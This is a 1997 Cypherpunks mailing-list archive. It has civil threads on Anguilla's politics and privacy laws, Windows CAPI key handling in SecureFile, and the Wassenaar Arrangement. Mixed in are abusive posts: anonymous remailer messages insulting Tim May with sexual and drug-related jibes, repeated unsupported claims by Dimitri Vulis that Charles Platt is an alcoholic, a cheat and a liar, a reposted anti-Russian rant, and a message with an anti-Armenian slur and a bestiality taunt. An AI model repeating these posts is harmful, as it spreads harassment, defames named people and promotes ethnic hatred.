something), he *might not* get his visa/work-permit renewed in the USA.
Tim is very safe in the USA partly because he does not have to get a visa
renewed.

If Tim were an Anguillian citizen I think it would be totally safe for him
to rant in Anguilla either on the net or in person, about crypto-anarchy
and destabilizing of governments or whatever.  It would have no impact on
getting a work-permit or visa renewed because he would not be doing that. 

Anguilla is not so very different in all this than the USA.  The US
decides not to renew some visa on a totally different level of evidence
than that used to lock someone up in jail.  And in Anguilla freedom of
speech is officially guaranteed in the constitution but, like the US,
pornography, is somewhat controlled.  But I don't believe there is any
danger of an Anguillian citizen getting troubled by the government for
ranting. 

The big difference between Anguilla and the USA is that banks, by law, can
not give out information to anyone, and there is no sales tax or income
tax, and no need to report sales or income amounts to anyone.  In the USA
banks have to give anything the government wants to the government. The
level of privacy in Anguilla is far higher than the USA.  I know I am
repeating this, but... 

   --  Vince






From haystack at holy.cow.net  Sat Mar  8 11:52:59 1997
From: haystack at holy.cow.net (Bovine Remailer)
Date: Sat, 8 Mar 1997 11:52:59 -0800 (PST)
Subject: No Subject
Message-ID: <199703081951.OAA02239@holy.cow.net>


Timmy Maypole is widely recognized on the net, because of his frequent 
vitriolic postings, as someone/thing ready to cut off his own penis to 
spite the testicles, although his friends recognize him better from 
the rear.

       ^. .^
       ( @ )
         c






From real at freenet.edmonton.ab.ca  Sat Mar  8 14:43:17 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Sat, 8 Mar 1997 14:43:17 -0800 (PST)
Subject: your mail
In-Reply-To: <199703081951.OAA02239@holy.cow.net>
Message-ID: <Pine.A41.3.95.970308154041.22400A-100000@fn2.freenet.edmonton.ab.ca>


Vulis the list you need is sick pervert.


        http://www.freenet.edmonton.ab.ca/~real/index.html

                                          : real at freenet.edmonton.ab.ca
Graham-John Bullers                  email
                                          : ab756 at freenet.toronto.on.ca


On Sat, 8 Mar 1997, Bovine Remailer wrote:

> Timmy Maypole is widely recognized on the net, because of his frequent 
> vitriolic postings, as someone/thing ready to cut off his own penis to 
> spite the testicles, although his friends recognize him better from 
> the rear.
> 
>        ^. .^
>        ( @ )
>          c
> 






From vince at offshore.com.ai  Sat Mar  8 20:08:32 1997
From: vince at offshore.com.ai (Vincent Cate)
Date: Sat, 8 Mar 1997 20:08:32 -0800 (PST)
Subject: Anguilla is not Marxist!
In-Reply-To: <Pine.LNX.3.95.970308195223.31293B-100000@online.offshore.com.ai>
Message-ID: <Pine.LNX.3.95.970308233855.31226H-100000@online.offshore.com.ai>



Charles:
> The Minister of Finance in Anguilla is a nice guy, but
> he did his graduate degree in economics at The New School for Social
> Research here in New York City, which just happens to be attached to the
> computer lab where I teach; and I know for a fact that the graduate
> studies division is the last bastion of Marxist economic theory in
> America. 
> [...]  Of course,
> the Anguillan Minister of Finance may have undergone a subsequent
> philosophical conversion to the free market (just like Deng, right?) but
> his country shows few signs of libertarian ideology; e.g. they have a
> state-owned radio station, they haven't quite embraced the idea of
> competitive bids for government projects, and they still have a
> monopolistic phone service that has disabled all the pound and star keys
> on island phones so that people can't save money using American call-back
> services. 

Hold it right there!  There is no Marxism or socialism in Anguilla.  We
don't even have income tax!  They are not busy redistributing wealth here. 
They let you keep your own wealth in Anguilla.  Get a clue!

The current minister of finance is not at all responsible for the Cable
and Wireless monopoly.  It was the previous government that set them up
and the current government is not happy about it. 

It is absurd to assume that since 20 years ago our Minister of Finance
went to some school you are attached to, and you have noticed Marxists
there, that he is anything close to a Marxist or to assume anything at all
about Anguilla.  After all, you are currently near this school, so by your
logic you must have caught the infection too.  Yet you claim to be a
Libertarian.

The USA had a monopoly phone company not that long ago.  You might say
that Anguilla is behind the US in terms of telecom policy.  But to yell
communism is totally nuts.

Please.  Be reasonable.

    --  Vince
      






From cp at panix.com  Sat Mar  8 20:19:58 1997
From: cp at panix.com (Charles Platt)
Date: Sat, 8 Mar 1997 20:19:58 -0800 (PST)
Subject: Anguilla is not Marxist!
In-Reply-To: <Pine.LNX.3.95.970308233855.31226H-100000@online.offshore.com.ai>
Message-ID: <Pine.SUN.3.91.970308231018.27226E-100000@panix.com>



Now, Vince, calm down! Contrary to your subject line, I never remotely
suggested that Marxism runs rampant in sunny Anguilla. I merely observed
that your Minister of Finance did choose an educational institution
notorious for Marxist ideology. The Minister may have undergone a radical
change in his ideas since then (AS I SAID IN THE TEXT THAT I POSTED TO THE
GROUP!). I did not blame him for the phone monopoly, merely pointed out
that government in Anguilla does not seem much into the idea of
competitive bids, generally speaking. You can hardly object to this
statement, since you said as much to me yourself! 

Incidentally, the same text was circulated to Lynwood Bell of Hansa Bank, 
who made detailed corrections of some of my statements about his 
institution, but where the Minister of Finance was concerned, made only a 
wry, amused comment.

On Sun, 9 Mar 1997, Vincent Cate wrote:

> Hold it right there!  There is no Marxism or socialism in Anguilla.  We
> don't even have income tax!  They are not busy redistributing wealth here. 
> They let you keep your own wealth in Anguilla.  Get a clue!

My text was not intended to imply anything of this kind.

> The current minister of finance is not at all responsible for the Cable
> and Wireless monopoly.  It was the previous government that set them up
> and the current government is not happy about it. 

Well, this is more relevant--but what do you mean, "not happy"? Is there 
a policy statement, a public remark I can quote?

> Please.  Be reasonable.

Sorry, but I think your reaction is a bit unreasonable. I'll certainly
rephrase my text if you sincerely feel it suggests that Marxism thrives in
Anguilla. But I thought the context made it clear that the country is just
a sleepy little British colony with zero corporate/personal taxes and some
bad habits left over from the Brits--such as a government-owned radio
station and a horrible phone system. 

--Charles






From vince at offshore.com.ai  Sat Mar  8 20:46:41 1997
From: vince at offshore.com.ai (Vincent Cate)
Date: Sat, 8 Mar 1997 20:46:41 -0800 (PST)
Subject: Anguilla is not Marxist!
In-Reply-To: <Pine.SUN.3.91.970308231018.27226E-100000@panix.com>
Message-ID: <Pine.LNX.3.95.970309003132.31226J-100000@online.offshore.com.ai>



> I merely observed
> that your Minister of Finance did choose an educational institution
> notorious for Marxist ideology. The Minister may have undergone a radical
> change in his ideas since then (AS I SAID IN THE TEXT THAT I POSTED TO THE
> GROUP!).

You still assume that he was, at least at one time, into that and only if
he had changed could he now be normal.  This is so bogus.  What makes you
think he needed to undergo radical change?

> I did not blame him for the phone monopoly, merely pointed out
> that government in Anguilla does not seem much into the idea of
> competitive bids, generally speaking. You can hardly object to this
> statement, since you said as much to me yourself! 

Ok. I don't remember talking about competitive bids.  Not sure what
Anguilla would be taking bids for really. 

> > The current minister of finance is not at all responsible for the Cable
> > and Wireless monopoly.  It was the previous government that set them up
> > and the current government is not happy about it. 
> 
> Well, this is more relevant--but what do you mean, "not happy"? Is there 
> a policy statement, a public remark I can quote?

I don't have one, but I will see if I can get/find one.  

> Sorry, but I think your reaction is a bit unreasonable. I'll certainly
> rephrase my text if you sincerely feel it suggests that Marxism thrives in
> Anguilla. 

It just seems bazar to conclude that our Minister of Finance is at best a
reformed Marxist without any more evidence than a name of a school he went
to and a monopoly phone company setup by the previous government. 

> But I thought the context made it clear that the country is just
> a sleepy little British colony with zero corporate/personal taxes and some
> bad habits left over from the Brits--such as a government-owned radio
> station and a horrible phone system. 

There are also 2 local private radio stations, 2 local private TV
stations, and a private cable company with 40 channels (local adds but
little local programming). If you only talk about the government owned
radio station you make it seem like this is government is controlling the
media or something.  It is not giving an accurate impression. 

The UK and USA also have government owned stations.  So what?  As long as
private ones are not supressed, I don't have any trouble with a government
owning its own radio station (and I am a devout Libertarian). 

   -- Vince







From vince at offshore.com.ai  Sat Mar  8 21:14:29 1997
From: vince at offshore.com.ai (Vincent Cate)
Date: Sat, 8 Mar 1997 21:14:29 -0800 (PST)
Subject: Anguilla
In-Reply-To: <Pine.LNX.3.95.970308195223.31293B-100000@online.offshore.com.ai>
Message-ID: <Pine.LNX.3.95.970309011607.32295B-100000@online.offshore.com.ai>



Charles:
> his country shows few signs of libertarian ideology; e.g. they have a
> state-owned radio station, they haven't quite embraced the idea of
> competitive bids for government projects, and they still have a
> monopolistic phone service that has disabled all the pound and star keys
> on island phones so that people can't save money using American call-back
> services. 

I am going to have to check tomorrow and see about thse star and
pound keys.  It would amuse me if we had seen the birth of an urban
legend.

                          Anguilla         vs       USA
1) Income taxes           Libertarian             Socialist
2) Sales Taxes            Libertarian             Socialist
3) State owned radio      Yes                     Yes
4) Competative bids       Sometimes               Sometimes
5) Pound keys that work   ?  Will check           Yes
6) Reporting of finances  Libertarian             Totalitarian
7) Free Speech            Yes, sort of            Yes, sort of

  -- Vince






From cp at panix.com  Sat Mar  8 21:30:51 1997
From: cp at panix.com (Charles Platt)
Date: Sat, 8 Mar 1997 21:30:51 -0800 (PST)
Subject: Anguilla is not Marxist!
In-Reply-To: <Pine.LNX.3.95.970309003132.31226J-100000@online.offshore.com.ai>
Message-ID: <Pine.SUN.3.91.970309002437.6294A-100000@panix.com>


On Sun, 9 Mar 1997, Vincent Cate wrote:

> You still assume that he was, at least at one time, into that and only if
> he had changed could he now be normal.  This is so bogus.  What makes you
> think he needed to undergo radical change?

Well, I suppose it's possible that he didn't know about the politics of 
the university till he actually got there ... but highly unlikely, 
because it is quite notorious. And he did stay there. 

> Ok. I don't remember talking about competitive bids.  Not sure what
> Anguilla would be taking bids for really. 

Asphalt for roads, as I recall.

> It just seems bazar to conclude that our Minister of Finance is at best a
> reformed Marxist without any more evidence than a name of a school he went
> to and a monopoly phone company setup by the previous government. 

Fair enough (I guess). It's always enlightening to discover how one's 
writing is read by others. This is why I ALWAYS submit my text for review 
before sending it to the magazine.

> There are also 2 local private radio stations, 2 local private TV
> stations, and a private cable company with 40 channels (local adds but
> little local programming). If you only talk about the government owned
> radio station you make it seem like this is government is controlling the
> media or something.  It is not giving an accurate impression. 

OK. I got my impression from the guy who runs it. Perhaps naturally, he 
emphasized it more than his competition.

> The UK and USA also have government owned stations.  So what?  As long as
> private ones are not supressed, I don't have any trouble with a government
> owning its own radio station (and I am a devout Libertarian). 

I do tend to be a little bit suspicious of any state-owned broadcasting 
system (including PBS).

But this is way off topic for cypherpunks. Maybe we should continue in 
email if we need to continue.

I do appreciate your perspective.

--CP





From anand at querisoft.com  Sat Mar  8 22:49:43 1997
From: anand at querisoft.com (Anand Abhyankar)
Date: Sat, 8 Mar 1997 22:49:43 -0800 (PST)
Subject: SecureFile
In-Reply-To: <33203B5E.28D8E637@veriweb.com>
Message-ID: <33231935.6969@querisoft.com>


Jeremey Barrett wrote:
> Umm... reading your faq... (http://www.querisoft.com/SFFAQ.html) you
> state that you use the windows95 user password as the password for

> encrypting files. You also seem to imply that you don't actually
> _ask_ for the password, windows gives it to you (albeit hashed
> or something already, I imagine). If that is the case, that is extremely
> worrisome. In fact it's outrageous.

 
> That would imply that any _other_ application, benign or evil, could
> also
> access the same password and immediately decrypt files.
> 
> Is that so? (Not coding much on windows, I don't know if applications
> can access the user's hashed or encrypted password, but I would guess
> they could.)

SecureFile is not using the Win 95 password for encrypting the files.
Win 95 or Win NT never hands over the password to any application.

CAPI 2.0 is so nicely integrated with the OS that unless you have logged
in you wont get access to you keys. Now SecureFile is CAPI 2.0 based
application, so to use SecureFile you have to log in. Once this is done
the crypto operations (encryption/signing) etc are performed using your
keys.

The advantage you gain is that, a separate SecureFile logon is not
required and nobody but you will be able to access your keys as they are
protected by the OS.

The SecureFile setup ensures that on Win 95 you have actually logged in
and that you are working in the "Multiple Profiles" mode.

Thank you for your interest in SecureFile. Please feel free to ask any
questions you may have.

Anand Abhyankar
SecureFile Team
Querisoft Systems Pvt. Ltd.





From toto at sk.sympatico.ca  Sun Mar  9 00:08:35 1997
From: toto at sk.sympatico.ca (TOTO)
Date: Sun, 9 Mar 1997 00:08:35 -0800 (PST)
Subject: MicroSoft Schill Blanc Weber EXPOSED!!!
In-Reply-To: <199703080803.IAA00271@server.test.net>
Message-ID: <33226FE1.3A50@sk.sympatico.ca>


Adam Back wrote:
>
> Blanc Weber <blancw at microsoft.com> writes:
> > Yikes - don't know how this happened, but it was I sent this email, not
> > Uni, who is also not @sirius.infonex.com.

> I suspect it's something to do with this (Microsoft mailers were the
> bane of many mailing lists a while back):

> > X-Mailer:  Microsoft Exchange Server Internet Mail Connector Version 4.0.994.63

> No offense, but Microsoft software is not my idea of quality -- it
> seems Gates takes the attitude that he's got the market in a
> strangle-hold so he can sell any crap and get away with it.

  Yes, but he's right.

> I saw TV interview with him in which he claimed that "no one _ever_
> upgraded to a new version of his software to get a bug fix" -- instead
> he claimed they upgraded to get "new features".  He appeared serious.

  There are reports that his physicians have desperately pleaded
with him to seek treatment for these delusions but he fears that
if he does so, he may suffer reprecussions from facing reality.

> The microsoft attitude to standards is annoying also -- what do they care
> about rfc822?  "The good thing about microsoft is that we set the standards,
> and we can change them when we want to".  quote from a microsoft
> representative at a standards meeting.

  IBM had the same attitude for years, and were quite arrogant
about it when they announced the computer of our future, the PS/2.

  "Napoleon was Emperor,
  "But still, he met his Waterloo.
  "IBM was King, but still,
  "No one bought their PS/2."

  "Now, stepping up to the plate...
  "A 'heavy hitter', named Billy Gates.
  "Who just can't hit the 'long ball', hence,
  "He has the umpires move the fence."

  "Billy G. is not a fool,
  "He's handsome, witty, smart, and rich.
  "His products may be weak, so what?
  "He owns the team, he gets to pitch."

  "Besides, someone, somewhere, sometime,
  "Will learn to make his products work.
  "While cussing out the big MS,
  "And calling Billy G. a jerk."

  "Then Billy G. will buy them out,
  "(Or steal a 'base', some would say)
  "One way or the other, though,
  "Billy G. will get his way."

  "MS does offer some support,
  "(Even though they have to bill you).
  "Then say, 'We could tell you how it works.
  "'But then, of course, we'd have to kill you.'"

  "So here I sit, broken hearted...
  "Bought Win95, the nightmare started.
  "Those who write on shithouse walls...
  "Know MS has them by the balls."

  "For a good time, call..."

    [ MODERATOR'S NOTE: ]

  The obvious degeneration of this slanderous poem into a babbling
morass of shithouse wit comes as no surprise to those who righteously
supported the attempt to protect the cypherpunks list from exactly this
type of off-topic trash.
  I am certain that the other troublemakers on the list will be
spreading rumors and lies concerning Toto's sudden disappearance,
which I am sure will be noticed shortly.

  To set the record straight concerning the rumors that are bound
to be surfacing, let me state that it is a known fact that the
lunatic asylums in Saskatchewan often use vehicles bearing Washington
State license plates.
  The witnesses who claim that the white-suited asylum employees had
MicroSoft emblems on their uniforms were obviously confused by the
similarities to the 'MindSoft' emblem of the Sanitarium (which was
legally formed shortly after Toto's soon-to-be discovered mysterious
disappearance).

  Rumors that Toto was subsequently murdered because he had actually
gotten Win95 to work, and thus 'knew too much', are obviously tripe,
since it is a well-known fact that nobody can get it to work properly.
  The lies that will be attempting to connect Toto's disappearance
to tonight's MicroSoft/C2Net party are also false, since it has been
in the planning for months. It's just that we (I mean...'they') forgot
to send out the invitations earlier, so it only appears to be a hastily
organized event.

  As to the hogwash spouted by Dale Thorn, and others, concerning some
purported behind-the-scenes moderation/censorship of the cypherpunks
list--this is patent nonsense.
  This 'Moderator's Note' that you are reading now is an obvious
forgery--part of some sick, demented plan to continue to cast slander
and libel upon MicroSoft and C2Net. It is a mere continuation of the
shallow attempts of slimeballs and perverts to cast aspersions on
saints like Bill Gates, John Gilmore, Sandy Sandfort, Greg Broiles,
and my employer, Sammy, who only want what is best for everyone.

[END OF 'ALLEGED' MODERATOR'S NOTE]

  "For a good time call...Toto"
  http://bureau42.base.org/public/xenix/xenbody.html






From nobody at huge.cajones.com  Sun Mar  9 02:21:50 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Sun, 9 Mar 1997 02:21:50 -0800 (PST)
Subject: BBN
Message-ID: <199703091021.CAA17254@mailmasher.com>


The arrival of warm weather is heralded by the pig shit (or whatever 
kind of shit Intel swines have for brains) getting soft in Tim C. 
Mayonnaise's mini-cranium and the resulting green slime seeping 
through his cocaine- and syphilis- damaged nose and onto his keyboard.

         o/    \  /    \ /     /      \o
        /#      ##o     #     o##      #\ Tim C. Mayonnaise
        / \    /  \    /o\    / |\    / \






From dlv at bwalk.dm.com  Sun Mar  9 05:53:44 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 9 Mar 1997 05:53:44 -0800 (PST)
Subject: Anguilla is not Marxist!
In-Reply-To: <Pine.LNX.3.95.970309003132.31226J-100000@online.offshore.com.ai>
Message-ID: <k0Va4D163w165w@bwalk.dm.com>


Vincent Cate <vince at offshore.com.ai> writes:

> > I merely observed
> > that your Minister of Finance did choose an educational institution
> > notorious for Marxist ideology. The Minister may have undergone a radical
> > change in his ideas since then (AS I SAID IN THE TEXT THAT I POSTED TO THE
> > GROUP!).
>
> You still assume that he was, at least at one time, into that and only if
> he had changed could he now be normal.  This is so bogus.  What makes you
> think he needed to undergo radical change?

Vince,

Charles Platt is notorious on the net as a drunkard and a pathological
liar.  Don't waste your time refuting his lies.

> > Sorry, but I think your reaction is a bit unreasonable. I'll certainly
> > rephrase my text if you sincerely feel it suggests that Marxism thrives in
> > Anguilla.
>
> It just seems bazar to conclude that our Minister of Finance is at best a
> reformed Marxist without any more evidence than a name of a school he went
> to and a monopoly phone company setup by the previous government.

Charles Platt works part-time for New School for Social Research (teaching
students Microsoft Office or something :-). Obviously he's very envious of
any former student who's more successful than he is, so he invents all sorts
of stupid lies about his employer.

> > But I thought the context made it clear that the country is just
> > a sleepy little British colony with zero corporate/personal taxes and some
> > bad habits left over from the Brits--such as a government-owned radio
> > station and a horrible phone system.
>
> There are also 2 local private radio stations, 2 local private TV
> stations, and a private cable company with 40 channels (local adds but
> little local programming). If you only talk about the government owned
> radio station you make it seem like this is government is controlling the
> media or something.  It is not giving an accurate impression.
>
> The UK and USA also have government owned stations.  So what?  As long as
> private ones are not supressed, I don't have any trouble with a government
> owning its own radio station (and I am a devout Libertarian).

This just proves again that Charles Platt is a pathological liar.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From dlv at bwalk.dm.com  Sun Mar  9 07:23:21 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 9 Mar 1997 07:23:21 -0800 (PST)
Subject: Anguilla is not Marxist!
In-Reply-To: <Pine.SUN.3.91.970308231018.27226E-100000@panix.com>
Message-ID: <22ya4D166w165w@bwalk.dm.com>


Alcoholic liar Charles Platt <cp at panix.com> writes:

>
> Incidentally, the same text was circulated to Lynwood Bell of Hansa Bank,
> who made detailed corrections of some of my statements about his
> institution, but where the Minister of Finance was concerned, made only a
> wry, amused comment.

As someone pointed out, Charles Platt met Lynwood Bell at a cocktail party
with free drinks.  Charles Platt, an alcoholic, was drunk like a skunk when
he "interviewed" Lynwood. Afterwards Charles Made up long quotes from
Lynwood. Actually, all Lynwood said was: "Get away from me, you pig."

The Minister did not find it worthwhile to communicate any further with
the notorious liar and self-styled yellow jounalist - Charles Platt.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From real at freenet.edmonton.ab.ca  Sun Mar  9 08:00:15 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Sun, 9 Mar 1997 08:00:15 -0800 (PST)
Subject: BBN
In-Reply-To: <199703091021.CAA17254@mailmasher.com>
Message-ID: <Pine.A41.3.95.970309085737.83832A-100000@fn2.freenet.edmonton.ab.ca>



Vulis keep this off the list


        http://www.freenet.edmonton.ab.ca/~real/index.html

                                          : real at freenet.edmonton.ab.ca
Graham-John Bullers                  email
                                          : ab756 at freenet.toronto.on.ca


On Sun, 9 Mar 1997, Huge Cajones Remailer wrote:

> The arrival of warm weather is heralded by the pig shit (or whatever 
> kind of shit Intel swines have for brains) getting soft in Tim C. 
> Mayonnaise's mini-cranium and the resulting green slime seeping 
> through his cocaine- and syphilis- damaged nose and onto his keyboard.
> 
>          o/    \  /    \ /     /      \o
>         /#      ##o     #     o##      #\ Tim C. Mayonnaise
>         / \    /  \    /o\    / |\    / \
> 






From real at freenet.edmonton.ab.ca  Sun Mar  9 08:08:56 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Sun, 9 Mar 1997 08:08:56 -0800 (PST)
Subject: Anguilla is not Marxist!
In-Reply-To: <k0Va4D163w165w@bwalk.dm.com>
Message-ID: <Pine.A41.3.95.970309090541.83832D-100000@fn2.freenet.edmonton.ab.ca>


> 
> This just proves again that Charles Platt is a pathological liar.


Vulis you are the pathological liar.


> 
> ---
> 
> Dr.Dimitri Vulis KOTM
> Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps
> 






From real at freenet.edmonton.ab.ca  Sun Mar  9 08:26:42 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Sun, 9 Mar 1997 08:26:42 -0800 (PST)
Subject: Anguilla is not Marxist!
In-Reply-To: <22ya4D166w165w@bwalk.dm.com>
Message-ID: <Pine.A41.3.95.970309092345.23720B-100000@fn2.freenet.edmonton.ab.ca>



> 
> The Minister did not find it worthwhile to communicate any further with
> the notorious liar and self-styled yellow jounalist - Charles Platt.


Vulis you are the notorious liar.

> 
> ---
> 
> Dr.Dimitri Vulis KOTM
> Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps
> 






From dlv at bwalk.dm.com  Sun Mar  9 08:30:06 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 9 Mar 1997 08:30:06 -0800 (PST)
Subject: Anguilla is not Marxist!
In-Reply-To: <Pine.A41.3.95.970309090541.83832D-100000@fn2.freenet.edmonton.ab.ca>
Message-ID: <oc5a4D169w165w@bwalk.dm.com>


Graham-John Bullers <real at freenet.edmonton.ab.ca> writes:

> >
> > This just proves again that Charles Platt is a pathological liar.
>
>
> Vulis you are the pathological liar.

Charles Platt, the alcoholic yellow journalist, is a pathological liar.

Just look in sci.cryonics for the testimonies from dozens of people
(former business partners and clients) cheated from thousands of
dollars by Charles Platt's failed "frozen corpses" business.

Charles Platt almost got arrested recently when he showed up drunk
at a public meeting and began shouting obscenities at people.

Please take any additional comments to alt.2600.moderated.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From jeremey at veriweb.com  Sun Mar  9 10:48:37 1997
From: jeremey at veriweb.com (Jeremey Barrett)
Date: Sun, 9 Mar 1997 10:48:37 -0800 (PST)
Subject: SecureFile
In-Reply-To: <33203B5E.28D8E637@veriweb.com>
Message-ID: <33228FE6.38DED08@veriweb.com>


-----BEGIN PGP SIGNED MESSAGE-----

Anand Abhyankar wrote:
> 
> SecureFile is not using the Win 95 password for encrypting the files.
> Win 95 or Win NT never hands over the password to any application.

Good.

> 
> CAPI 2.0 is so nicely integrated with the OS that unless you have logged
> in you wont get access to you keys. Now SecureFile is CAPI 2.0 based
> application, so to use SecureFile you have to log in. Once this is done
> the crypto operations (encryption/signing) etc are performed using your
> keys.
> 
> The advantage you gain is that, a separate SecureFile logon is not
> required and nobody but you will be able to access your keys as they are
> protected by the OS.

Out of curiosity, do you know how the keys are protected by windoze
itself?
I have the CAPI cd but have had all of 5 minutes to look at it.  I would 
presume they're hashing your password into a key and then encrypting
with 
it, or encrypting another key with it. Any idea?

What is somewhat bothersome (and this would go for anything using CAPI
in the way your product does) is the reliance upon the windoze password.
If that were compromised, it seems all other CAPI integrated keys would
also be compromised. Let's hope they choose good passwords, and know not
to re-use the same one on the net somewhere. :-)
(BTW, does windoze allow arbitrary length passwords or phrases, or does
it
have a short limit?)

Jeremey.

- -- 
=-----------------------------------------------------------------------= 
Jeremey Barrett                                  VeriWeb Internet Corp.
Crypto, Ecash, Commerce Systems                  http://www.veriweb.com/

PGP Key fingerprint =  3B 42 1E D4 4B 17 0D 80  DC 59 6F 59 04 C3 83 64
=-----------------------------------------------------------------------=

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBMyKP5y/fy+vkqMxNAQHayQQAlQ1URquOTf0LNqX4Gsw340KRNsz+e4hk
hJDaw61vNzWV7oCQtZeTYrpWYnf9nuZ0r3qaTGHE8b+s3whAEz7iXtS/DzNXz3dQ
0fce/EW9oMHjZa9xiilPb4FMbRMJJFShJ2WUSP/ZuMkaKXVftu5UG5I/FHxhpt+g
A4sqBEOangQ=
=PLfS
-----END PGP SIGNATURE-----





From dthorn at gte.net  Sun Mar  9 10:51:53 1997
From: dthorn at gte.net (Dale Thorn)
Date: Sun, 9 Mar 1997 10:51:53 -0800 (PST)
Subject: Anguilla is not Marxist!
In-Reply-To: <oc5a4D169w165w@bwalk.dm.com>
Message-ID: <332306B7.1511@gte.net>


Dr.Dimitri Vulis KOTM wrote:
> Graham-John Bullers <real at freenet.edmonton.ab.ca> writes:
> > Vulis you are the pathological liar.

This Graham-John character may just be one of the best autobots
yet.  I've examined "his" messages, which show even less emotional
content than on-the-scene responses by Sirhan Sirhan or John Hinckley.
Obviously not hand-typed by a human.

> Charles Platt, the alcoholic yellow journalist, is a pathological liar.
> Just look in sci.cryonics for the testimonies from dozens of people
> (former business partners and clients) cheated from thousands of
> dollars by Charles Platt's failed "frozen corpses" business.
> Charles Platt almost got arrested recently when he showed up drunk
> at a public meeting and began shouting obscenities at people.
> Please take any additional comments to alt.2600.moderated.

Platt sounds like the ideal candidate to start another disinformation
periodical.  Any guesses as to who his backers will be?

P.S. Thanx for the L.L. interviews.  I hope to build these into
another good text database.






From frissell at panix.com  Sun Mar  9 11:52:24 1997
From: frissell at panix.com (Duncan Frissell)
Date: Sun, 9 Mar 1997 11:52:24 -0800 (PST)
Subject: Tim in Anguilla vs. USA
In-Reply-To: <Pine.LNX.3.95.970308082349.28404A-100000@online.offshore.com.ai>
Message-ID: <3.0.1.32.19970309145432.028fc5cc@panix.com>


At 02:42 PM 3/8/97 -0400, Vincent Cate wrote:
>
>If Tim were a French citizen in the USA, and ranting about crypto-anarchy
>and destabilizing governments on street corners (or communism or
>something), he *might not* get his visa/work-permit renewed in the USA.
>Tim is very safe in the USA partly because he does not have to get a visa
>renewed.

Were Tim a French citizen in the US who had worked for Intel and gotten a passel of stock, or founded Borland like French illegal alien Phillippe Kahn, he could say whatever he wanted without problems.  He would only run into such problems if he was Palestinian.

DCF





From take at barrier-free.co.jp  Sun Mar  9 12:22:45 1997
From: take at barrier-free.co.jp (Hayashi_Tsuyoshi)
Date: Sun, 9 Mar 1997 12:22:45 -0800 (PST)
Subject: Wassenaar Arrangement
Message-ID: <199703092021.FAA11440@ns.barrier-free.co.jp>


Now I uploaded a short short memo of CATEGORY 5 PATR 2 of
the Wassenaar Arrangement.

  http://www.barrier-free.co.jp/a2z/c/
    CRYPTON/box1997/19970310-1-wassenaar-cat5.2.html

If someone know (have) full text, please tell me.

# To: Mr. John Young:
# If your are OK, please add this to your crypto-concerned
# lib. and redistribute on your web page.  Thanks.

///hayashi

P.S.
Sorry for my delay job.





From nobody at REPLAY.COM  Sun Mar  9 15:23:03 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Sun, 9 Mar 1997 15:23:03 -0800 (PST)
Subject: [IMPORTANT] Diffie-Hellman
Message-ID: <199703092322.AAA00842@basement.replay.com>


Timmy May's obsessive masturbation has lead to advanced degree of blindness and 
hairy palms.

         /_/\/\
         \_\  / Timmy May
         /_/  \
         \_\/\ \
            \_\/






From dlv at bwalk.dm.com  Sun Mar  9 16:00:19 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 9 Mar 1997 16:00:19 -0800 (PST)
Subject: Russophobia
In-Reply-To: <01bc2cb9$f32cc260$f28c01c2@seaford.cherry.napri.sk>
Message-ID: <R8NB4D175w165w@bwalk.dm.com>


I saw a Usenet article that some Cypherpunks might like:

"Seaford Int." <seaford at napri.sk> writes:

> BE AFRAID OF NEW RUSSIAN ECONOMY BANDITS!!!
> THEY ARE SLUT DANGER PEOPLE.
> VOTE, NO MORE ENTRY FOR RUSSIANS TO CIVILIZATED COUNTRIES.
> THEY ARE FUCKING, STUPID BUT VERY RICH IDIOTS WITHOUT MIND!!!
>
> WARNING!!!WARNING!!!WARNING!!!!
>
> WHO WANTS TO MAKE CONTRACTS WITH THESE KILLERS!!!!
> ALL OF THEM WERE COMMUNISTS, NOW PSEUDOCAPITALISTS, BUT STILL KILLERS!!!
>
>

And now for something crypto-relevant:

I want to set up an easy-to-use, not necessarily very secure, anon server
at dm.com. Can someone please send me some source code (or pointer thereto).
(I mean, a system similar to what Julf used to have on anon.penet.fi, not
mixmaster, etc - I know where these are.)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From dlv at bwalk.dm.com  Sun Mar  9 16:00:24 1997
From: dlv at bwalk.dm.com (dlv at bwalk.dm.com)
Date: Sun, 9 Mar 1997 16:00:24 -0800 (PST)
Subject: No Subject
Message-ID: <9703092356.AA01951@uu.psi.com>


	for cypherpunks at toad.com
To: cypherpunks at toad.com
Cc: jack at earthweb.com, murray at earthweb.com, nova at earthweb.com
Subject: Something is genetically wrong with subhuman dandruff-covered Armenians...
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Comments: All power to the ZOG!
Message-ID: <RPoB4D176w165w at bwalk.dm.com>
Date: Sun, 09 Mar 97 18:35:26 EST
In-Reply-To: <Pine.SUN.3.91.970306184243.12798K at beast.brainlink.com>
Organization: Brighton Beach Boardwalk BBS, Forest Hills, N.Y.

Ray Arachelian <sunder at brainlink.com> writes:

> On Wed, 5 Mar 1997, Vebis wrote:
>
> > Hmmmm, Tastes like chicken!
>
> Uh huh, huh Vebis, that was like kwel!  Heh heh, heh heh!  Do it again!
>
> So like Vebis, how did it feel to score with a male german sheppard?  I
> bet you swallowed, huh huh, huh, 'cause you said "Tastes like chicken!"
> heh heh, heh heh, heh heh...

